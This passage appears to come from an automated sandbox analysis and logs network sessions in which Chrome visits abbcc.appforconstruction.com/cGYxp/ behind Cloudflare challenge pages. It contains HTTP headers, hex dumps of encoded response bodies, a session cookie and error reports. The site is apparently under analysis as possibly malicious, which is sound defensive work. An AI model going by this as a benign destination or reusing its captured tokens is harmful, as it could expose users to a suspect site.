v_8e5935826bf00f3e=sWhw1wzwrwuwXw3b4jb41cU1ULH9UH4UcILEWk4DI4tctEYhUVtIoxz4EFRw41AqP4Y-kUB4ucHLOx54HP4pkUDzt4crL48wUuT$0XeuV4sw4LdFg4rd4xkHBUAxwTDf7wF0ALQ4rG44Aouwu54kI4UlW2LcuWwzDUwgzW-FSswr7MkUMAjFi4uP%2b2wH84jh4SwUFuwrDD4UrV8R74shZ4PMM4U2ZQ1S4wQ6rqXMn4
2024-11-20 14:42:56 UTC	747	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:56 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149808 Connection: close cf-chl-gen: qK4vprYPf4S/Vr7GVUQ0bsXFpr9n3S01IaCDuwcKfrmdUlAmcmP3aTuNG4ld0nSAJCgsO8KlB/1bhgOc1c1joSE9asUuXXaXKah07hqo0hFqrcihtbbfd/DBhySOEIHi7/Ysvcpm1A/i5uDnu2yY66c9oFKuE36kKRmlHa4nhNbAo/w2oDjPbUQnroG7OMfYglwDmjvtlEimbytNe+2YdBtreQypq1C+PnSPzTs0xjFf3h/du/EYVBQmdFIaANyfi+p49xNJtP/knlkMEt5pOfim+ugdKMATjRyZ5fqzA+7OGpBHqc8St996oa07WhbCozETvvSfor2zFq3m5ANPAfwZDB4e5kCPNlfTS3ptBIo9YipZEY14tdpMUX+M288rjy8M6on4S7pb8oW7LymKXzvNaaFXXUrxTnKC0h210z9kockbRWdWkKO0WAtgHBXQ91e9vpKLFyqvAR2X3Bm14M5jyc8cF6JhTlqYQNvi/9Qs8NI=$+AlCnWlPXMyOMGt5 Server: cloudflare CF-RAY: 8e59359bda170ca6-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:56 UTC	622	IN	Data Raw: 59 6f 6c 72 64 32 46 39 5a 32 39 64 62 4a 46 74 68 31 4b 54 55 59 74 58 56 4a 61 54 6c 70 74 37 6c 46 6d 53 65 58 5a 79 6f 5a 4a 39 67 34 65 73 6e 6e 70 37 6e 34 4e 70 6e 6e 2b 46 6a 34 4f 6c 6d 62 71 6c 76 4a 53 58 6a 37 32 5a 77 37 4b 59 6d 62 4f 30 68 6f 47 4b 70 35 65 4d 79 73 65 4a 6b 59 53 52 7a 36 44 43 73 73 69 54 78 73 7a 48 6d 72 54 63 30 70 6d 55 73 62 66 56 6e 39 72 68 31 4b 54 45 35 64 69 6f 71 36 33 5a 72 4f 2f 43 34 2b 7a 6b 35 72 50 6e 78 39 4f 37 2f 4d 76 56 39 4d 4c 53 35 62 36 38 35 76 33 47 76 41 33 72 79 73 41 4a 41 4f 44 61 43 74 50 72 30 4e 55 55 45 42 54 72 36 52 59 4e 38 77 77 51 43 39 30 45 37 79 58 68 4a 2b 6b 44 39 75 7a 73 4c 41 54 34 37 67 6f 31 38 76 30 50 42 54 59 4a 43 69 6f 70 2b 78 49 76 48 7a 6e 36 48 51 4e 41 45 7a 4d Data Ascii: Yolrd2F9Z29dbJFth1KTUYtXVJaTlpt7lFmSeXZyoZJ9g4esnnp7n4Npnn+Fj4OlmbqlvJSXj72Zw7KYmbO0hoGKp5eMyseJkYSRz6DCssiTxszHmrTc0pmUsbfVn9rh1KTE5dioq63ZrO/C4+zk5rPnx9O7/MvV9MLS5b685v3GvA3rysAJAODaCtPr0NUUEBTr6RYN8wwQC90E7yXhJ+kD9uzsLAT47go18v0PBTYJCiop+xIvHzn6HQNAEzM
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 64 66 47 69 6b 72 49 68 6b 67 50 44 4a 63 4a 55 51 7a 59 54 31 4c 57 6d 67 76 4f 30 35 6e 56 57 30 6f 62 32 46 44 57 6d 4e 49 61 6b 74 76 58 48 68 54 67 7a 35 39 67 49 52 46 51 32 56 47 5a 57 31 2f 61 56 36 53 54 56 4a 55 54 35 47 4a 63 6d 47 4f 65 6d 53 54 5a 31 61 4c 63 33 56 62 6c 5a 68 69 67 47 64 6b 64 4b 68 2b 61 35 65 62 73 61 61 63 66 35 43 76 63 6f 79 77 63 6e 56 78 70 70 61 6d 69 4c 79 76 6e 36 75 2f 6a 6f 4f 58 75 4b 57 46 75 5a 36 71 69 39 43 35 73 73 6a 41 6a 35 33 48 73 72 58 5a 78 74 43 76 79 64 50 52 79 4f 48 57 75 4c 76 42 78 73 6a 49 78 73 48 61 76 72 37 6c 78 4c 33 44 32 37 79 2b 79 4f 72 79 7a 63 6e 58 36 73 37 4f 39 4e 54 4e 30 2b 48 4d 7a 74 6a 32 41 39 33 5a 34 2f 72 65 33 67 48 6b 33 65 50 74 33 4e 37 6f 41 78 50 74 36 52 62 7a 42 Data Ascii: dfGikrIhkgPDJcJUQzYT1LWmgvO05nVW0ob2FDWmNIaktvXHhTgz59gIRFQ2VGZW1/aV6STVJUT5GJcmGOemSTZ1aLc3VblZhigGdkdKh+a5ebsaacf5CvcoywcnVxppamiLyvn6u/joOXuKWFuZ6qi9C5ssjAj53HsrXZxtCvydPRyOHWuLvBxsjIxsHavr7lxL3D27y+yOryzcnX6s7O9NTN0+HMztj2A93Z4/re3gHk3ePt3N7oAxPt6RbzB
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 7a 56 42 31 54 57 79 56 48 50 7a 51 6b 51 6a 68 6a 5a 43 35 76 4d 6c 4e 6d 59 32 52 46 61 57 56 37 65 6d 68 2f 58 30 2b 44 50 6a 2b 43 57 45 42 79 56 6b 70 58 53 6f 6c 65 65 46 2b 4b 62 32 35 72 6a 47 5a 77 64 57 64 6e 6a 6e 75 53 64 58 4b 58 66 5a 78 2f 6b 4b 43 46 67 4b 46 70 64 6c 32 4c 5a 32 53 73 6f 61 56 78 73 5a 43 69 68 5a 53 7a 6a 70 5a 34 6d 72 4b 37 69 72 5a 34 6c 6f 4b 6a 6d 62 57 47 6d 4a 61 30 70 37 6d 32 72 34 79 4f 7a 4d 54 48 30 70 32 76 74 37 4c 52 79 74 4f 70 79 4d 65 2b 73 35 72 4e 6e 73 4c 62 73 39 66 65 71 64 72 57 7a 4f 47 35 7a 4d 2f 6f 76 2b 72 47 37 73 43 70 77 75 33 45 31 63 36 38 36 39 72 79 39 4e 4c 78 7a 76 69 2f 38 63 44 38 36 2b 76 61 33 2f 7a 48 41 4f 6a 6d 36 4e 33 67 7a 63 38 57 32 4f 7a 4e 47 2f 58 75 36 52 33 35 2b 65 Data Ascii: zVB1TWyVHPzQkQjhjZC5vMlNmY2RFaWV7emh/X0+DPj+CWEByVkpXSoleeF+Kb25rjGZwdWdnjnuSdXKXfZx/kKCFgKFpdl2LZ2SsoaVxsZCihZSzjpZ4mrK7irZ4loKjmbWGmJa0p7m2r4yOzMTH0p2vt7LRytOpyMe+s5rNnsLbs9feqdrWzOG5zM/ov+rG7sCpwu3E1c6869ry9NLxzvi/8cD86+va3/zHAOjm6N3gzc8W2OzNG/Xu6R35+e
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 4b 6a 64 57 4b 57 64 44 4c 53 68 48 53 31 5a 49 58 30 38 31 51 30 35 64 50 44 55 39 58 44 75 44 51 6e 68 42 51 31 39 64 59 31 71 41 5a 6e 56 33 69 34 4a 73 57 6f 70 75 58 34 64 6a 6a 33 6c 36 6a 48 53 56 63 59 2b 50 62 48 36 56 62 33 74 6b 64 58 74 35 65 61 4e 6b 70 36 6d 48 6a 35 2b 77 69 72 52 78 71 6e 4f 48 74 59 61 62 64 71 78 77 6e 62 57 34 6f 36 32 68 70 73 58 42 6f 6e 76 47 68 35 2f 4d 78 35 79 50 75 70 72 4d 76 4e 50 56 30 61 53 4c 72 4c 75 59 72 70 72 4e 74 4d 48 5a 77 74 66 58 76 39 54 53 6f 75 48 6e 6f 73 50 4d 76 62 76 78 79 4c 50 77 79 4e 36 70 7a 39 53 31 75 4d 54 79 36 37 37 33 34 66 76 75 33 50 6e 43 77 67 62 59 33 38 59 4f 79 4f 33 33 43 77 66 4c 2b 39 37 51 7a 4f 77 61 31 2b 62 71 38 64 54 78 37 50 50 79 49 76 54 77 39 66 49 62 38 2f 77 Data Ascii: KjdWKWdDLShHS1ZIX081Q05dPDU9XDuDQnhBQ19dY1qAZnV3i4JsWopuX4djj3l6jHSVcY+PbH6Vb3tkdXt5eaNkp6mHj5+wirRxqnOHtYabdqxwnbW4o62hpsXBonvGh5/Mx5yPuprMvNPV0aSLrLuYrprNtMHZwtfXv9TSouHnosPMvbvxyLPwyN6pz9S1uMTy67734fvu3PnCwgbY38YOyO33CwfL+97QzOwa1+bq8dTx7PPyIvTw9fIb8/w
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 30 35 70 52 57 56 72 61 30 70 48 61 6e 74 6c 5a 56 74 7a 61 55 74 31 66 45 4a 50 5a 34 46 5a 66 47 74 62 57 49 42 4d 62 6e 78 67 6a 48 31 79 69 33 64 4f 6b 70 70 35 62 31 4b 58 58 47 74 62 58 34 79 69 6c 35 2b 41 70 6e 79 52 6f 71 46 2b 5a 71 36 73 72 6f 69 45 62 35 39 7a 74 34 47 6c 73 34 6c 37 6c 4a 75 62 74 33 36 67 75 35 6a 42 75 34 61 55 75 6f 57 46 74 62 2b 72 6f 4d 43 66 7a 4d 79 2b 6a 74 47 71 78 62 65 57 71 73 6e 53 71 70 44 65 6e 37 4f 38 32 39 76 6c 30 64 76 66 76 39 72 6e 71 75 32 75 38 4d 50 70 34 76 54 64 39 66 58 7a 74 76 72 50 2b 4e 43 32 37 76 76 54 7a 37 37 39 39 50 76 41 33 65 6b 47 79 4d 72 6f 35 65 33 6c 45 75 44 39 30 4f 55 49 39 76 44 68 34 78 41 56 47 68 58 51 48 2f 49 4b 46 64 72 33 48 2f 6b 63 2b 52 38 65 49 53 73 74 41 68 6a 2b Data Ascii: 05pRWVra0pHantlZVtzaUt1fEJPZ4FZfGtbWIBMbnxgjH1yi3dOkpp5b1KXXGtbX4yil5+ApnyRoqF+Zq6sroiEb59zt4Gls4l7lJubt36gu5jBu4aUuoWFtb+roMCfzMy+jtGqxbeWqsnSqpDen7O829vl0dvfv9rnqu2u8MPp4vTd9fXztvrP+NC27vvTz7799PvA3ekGyMro5e3lEuD90OUI9vDh4xAVGhXQH/IKFdr3H/kc+R8eISstAhj+
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 35 44 54 7a 63 32 66 44 35 66 54 30 39 57 63 54 39 31 57 33 4a 6d 57 32 4a 32 52 6c 36 4e 6a 6c 69 52 69 48 46 69 67 57 78 75 68 6d 57 57 68 5a 4e 73 6b 58 47 51 59 58 64 7a 6f 35 74 2f 64 4a 64 6f 6e 33 2b 72 62 4a 70 2b 73 49 6d 6a 67 36 69 73 68 58 65 71 71 36 79 59 6a 6e 4f 61 64 6f 36 41 71 33 79 5a 6c 4d 57 46 78 4d 62 42 68 33 36 64 6c 6f 32 51 30 73 69 2f 72 4d 4f 6f 74 4c 65 33 6c 4b 6a 4d 6c 61 71 75 33 35 6a 57 73 4a 76 54 30 62 66 45 6f 61 6d 34 36 4e 32 70 35 4f 76 47 37 4d 6a 44 37 39 4b 7a 74 38 50 58 74 2b 72 6e 37 4e 50 55 75 74 75 38 41 50 6a 66 37 39 55 46 77 50 50 61 32 76 7a 34 37 74 37 79 41 38 7a 69 39 76 54 6d 35 68 73 45 31 41 72 78 39 68 51 4b 45 78 73 67 37 65 38 55 49 41 6b 57 4b 50 7a 36 42 51 48 6f 48 77 7a 75 38 54 51 42 44 Data Ascii: 5DTzc2fD5fT09WcT91W3JmW2J2Rl6NjliRiHFigWxuhmWWhZNskXGQYXdzo5t/dJdon3+rbJp+sImjg6ishXeqq6yYjnOado6Aq3yZlMWFxMbBh36dlo2Q0si/rMOotLe3lKjMlaqu35jWsJvT0bfEoam46N2p5OvG7MjD79Kzt8PXt+rn7NPUutu8APjf79UFwPPa2vz47t7yA8zi9vTm5hsE1Arx9hQKExsg7e8UIAkWKPz6BQHoHwzu8TQBD
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 32 4f 47 4a 69 63 6d 41 2b 50 31 64 57 66 46 6c 4c 5a 31 56 41 65 6e 35 4b 6b 56 31 6d 56 59 42 73 6d 49 53 58 56 48 4e 77 62 56 32 66 6e 4a 6d 52 62 35 5a 39 62 32 61 53 6c 33 32 6e 6c 33 65 76 6b 5a 4a 2f 6a 58 4a 2f 74 6d 32 51 6a 59 61 44 71 71 65 4f 71 72 53 53 71 72 43 69 74 4c 65 6e 67 36 72 43 73 34 58 45 71 37 72 44 70 73 71 77 6a 4c 61 4d 73 62 61 36 6b 37 79 6d 30 61 6e 61 76 71 47 55 76 64 54 59 75 72 36 35 36 72 6d 33 77 37 2b 39 71 39 75 72 72 36 36 6d 35 75 79 2f 35 4c 50 34 75 65 66 51 2f 62 6a 57 75 39 36 36 37 38 49 42 30 64 33 32 78 41 6b 49 41 50 37 65 33 41 58 53 38 68 48 6f 37 77 4c 32 31 41 37 70 32 64 72 39 45 68 72 7a 47 68 7a 32 2b 78 67 6c 49 43 59 4c 49 75 6b 76 4a 41 2f 38 49 79 67 6d 4e 65 7a 7a 38 68 59 75 4a 77 62 75 45 6a Data Ascii: 2OGJicmA+P1dWfFlLZ1VAen5KkV1mVYBsmISXVHNwbV2fnJmRb5Z9b2aSl32nl3evkZJ/jXJ/tm2QjYaDqqeOqrSSqrCitLeng6rCs4XEq7rDpsqwjLaMsba6k7ym0anavqGUvdTYur656rm3w7+9q9urr66m5uy/5LP4uefQ/bjWu96678IB0d32xAkIAP7e3AXS8hHo7wL21A7p2dr9EhrzGhz2+xglICYLIukvJA/8IygmNezz8hYuJwbuEj
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 59 31 61 47 55 33 35 35 65 34 43 41 63 49 70 67 63 34 31 2f 56 46 57 42 6a 32 56 74 6d 34 64 74 62 5a 69 4b 62 4a 69 6b 6b 48 56 6d 6b 6d 53 58 67 4a 2b 61 66 49 53 73 70 4b 4f 78 6b 62 57 68 6b 6e 43 70 72 4b 74 36 70 4c 61 56 64 36 75 79 6d 6f 43 44 76 5a 4f 69 66 70 4f 44 6e 38 44 42 6e 5a 7a 48 6e 61 50 4d 72 49 65 71 72 39 53 6e 6d 4d 2b 30 73 4a 62 63 76 36 6d 64 76 37 2b 32 34 62 6a 6d 31 39 50 72 71 74 58 4e 77 38 2b 73 7a 75 44 43 79 62 50 43 35 65 48 6f 75 50 50 64 30 2f 62 54 30 74 66 67 33 2f 7a 68 35 64 48 48 79 67 50 49 36 65 51 48 2b 64 37 75 37 75 49 46 37 4f 66 32 46 2b 37 53 47 64 6a 73 33 66 4d 62 42 43 51 67 47 2f 67 70 2f 53 6a 38 4a 78 6e 6e 2b 75 7a 73 2b 67 48 76 48 76 58 32 43 53 73 70 48 44 55 55 47 43 73 41 4f 7a 51 4f 46 52 51 Data Ascii: Y1aGU355e4CAcIpgc41/VFWBj2Vtm4dtbZiKbJikkHVmkmSXgJ+afISspKOxkbWhknCprKt6pLaVd6uymoCDvZOifpODn8DBnZzHnaPMrIeqr9SnmM+0sJbcv6mdv7+24bjm19PrqtXNw8+szuDCybPC5eHouPPd0/bT0tfg3/zh5dHHygPI6eQH+d7u7uIF7Of2F+7SGdjs3fMbBCQgG/gp/Sj8Jxnn+uzs+gHvHvX2CSspHDUUGCsAOzQOFRQ
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 46 5a 6d 67 47 70 62 59 6d 61 4b 5a 34 46 50 6d 59 69 57 54 5a 64 74 5a 70 69 58 6e 59 2b 58 59 46 65 50 6e 58 31 6b 65 35 32 5a 6c 59 32 45 66 36 6d 54 6f 71 4b 65 64 48 43 70 69 6e 71 48 6d 37 68 39 6a 36 75 71 76 63 4f 78 68 49 61 6f 75 72 75 72 69 5a 2b 6f 75 38 71 2b 78 70 32 30 6e 38 75 6b 7a 4c 6d 58 79 72 71 34 75 74 57 33 6b 74 48 65 31 4c 33 52 32 5a 33 66 6f 37 50 71 77 65 32 6d 71 64 2b 2b 32 2f 44 4b 78 75 4c 51 31 74 4b 33 2b 75 65 32 41 4c 67 42 79 75 44 2b 38 4c 66 62 31 50 6b 42 41 74 72 63 35 51 6a 2b 43 67 63 55 34 4f 51 4d 7a 77 48 31 43 50 51 56 43 76 73 4b 33 74 34 54 31 50 49 46 45 39 34 68 48 53 4d 45 36 2f 34 73 39 79 6b 72 2f 51 59 48 42 41 67 4e 47 53 38 34 49 77 38 4d 50 66 6f 53 4d 52 6f 31 4c 44 51 6b 48 42 6b 45 52 30 6c 44 Data Ascii: FZmgGpbYmaKZ4FPmYiWTZdtZpiXnY+XYFePnX1ke52ZlY2Ef6mToqKedHCpinqHm7h9j6uqvcOxhIaoururiZ+ou8q+xp20n8ukzLmXyrq4utW3ktHe1L3R2Z3fo7Pqwe2mqd++2/DKxuLQ1tK3+ue2ALgByuD+8Lfb1PkBAtrc5Qj+CgcU4OQMzwH1CPQVCvsK3t4T1PIFE94hHSME6/4s9ykr/QYHBAgNGS84Iw8MPfoSMRo1LDQkHBkER0lD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49743	172.67.195.135	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:57 UTC	664	OUT	GET /favicon.ico HTTP/1.1 Host: abbcc.appforconstruction.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://abbcc.appforconstruction.com/cGYxp/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=m5gmg4i7uet7umfcjh37ca7utv
2024-11-20 14:42:57 UTC	830	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 14:42:57 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 67 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NdJiS%2BDrsg2P0Dki7MmM763v4EGQ5TfFydCXc94q4i1EZHyZmSHQyXuUC2%2FW4TLorjiVdNio76eLDTuXIGHWu4WuGB6WMgmiVtiEaud%2Fga%2BTuJqLo5BkbZM9evPZN3v2R8s9AnM%2BDT4C%2FHcOnpWN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5935a45dfc0c7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1504&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1242&delivery_rate=1796923&cwnd=129&unsent_bytes=0&cid=4f95df1461162a07&ts=511&x=0"
2024-11-20 14:42:57 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-11-20 14:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49744	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:58 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:58 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 14:42:58 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 8Cp5Qt2cMV6llDEI4gF6tZZHmgbx4IVmylk=$rM9QT/55Yf2uJJqa cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e5935abf9c142ad-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:58 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49745	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:58 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8e5935826bf00f3e/1732113776129/bb3c0ba1025676529f93840d2c8a7f2056c6e4adc6118965f4d713f27350447b/HVBG1oNA_YgnxCW HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:59 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 20 Nov 2024 14:42:59 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-11-20 14:42:59 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 75 7a 77 4c 6f 51 4a 57 64 6c 4b 66 6b 34 51 4e 4c 49 70 5f 49 46 62 47 35 4b 33 47 45 59 6c 6c 39 4e 63 54 38 6e 4e 51 52 48 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20guzwLoQJWdlKfk4QNLIp_IFbG5K3GEYll9NcT8nNQRHsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-11-20 14:42:59 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49746	35.190.80.1	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:59 UTC	569	OUT	OPTIONS /report/v4?s=NdJiS%2BDrsg2P0Dki7MmM763v4EGQ5TfFydCXc94q4i1EZHyZmSHQyXuUC2%2FW4TLorjiVdNio76eLDTuXIGHWu4WuGB6WMgmiVtiEaud%2Fga%2BTuJqLo5BkbZM9evPZN3v2R8s9AnM%2BDT4C%2FHcOnpWN HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://abbcc.appforconstruction.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:59 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 20 Nov 2024 14:42:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49747	35.190.80.1	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:00 UTC	498	OUT	POST /report/v4?s=NdJiS%2BDrsg2P0Dki7MmM763v4EGQ5TfFydCXc94q4i1EZHyZmSHQyXuUC2%2FW4TLorjiVdNio76eLDTuXIGHWu4WuGB6WMgmiVtiEaud%2Fga%2BTuJqLo5BkbZM9evPZN3v2R8s9AnM%2BDT4C%2FHcOnpWN HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 454 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:00 UTC	454	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 31 34 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 61 62 62 63 63 2e 61 70 70 66 6f 72 63 6f 6e 73 74 72 75 63 74 69 6f 6e 2e 63 6f 6d 2f 63 47 59 78 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 35 2e 31 33 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e Data Ascii: [{"age":0,"body":{"elapsed_time":3144,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://abbcc.appforconstruction.com/cGYxp/","sampling_fraction":1.0,"server_ip":"172.67.195.135","status_code":404,"type":"http.error"},"type":"n
2024-11-20 14:43:01 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 20 Nov 2024 14:43:00 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49748	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
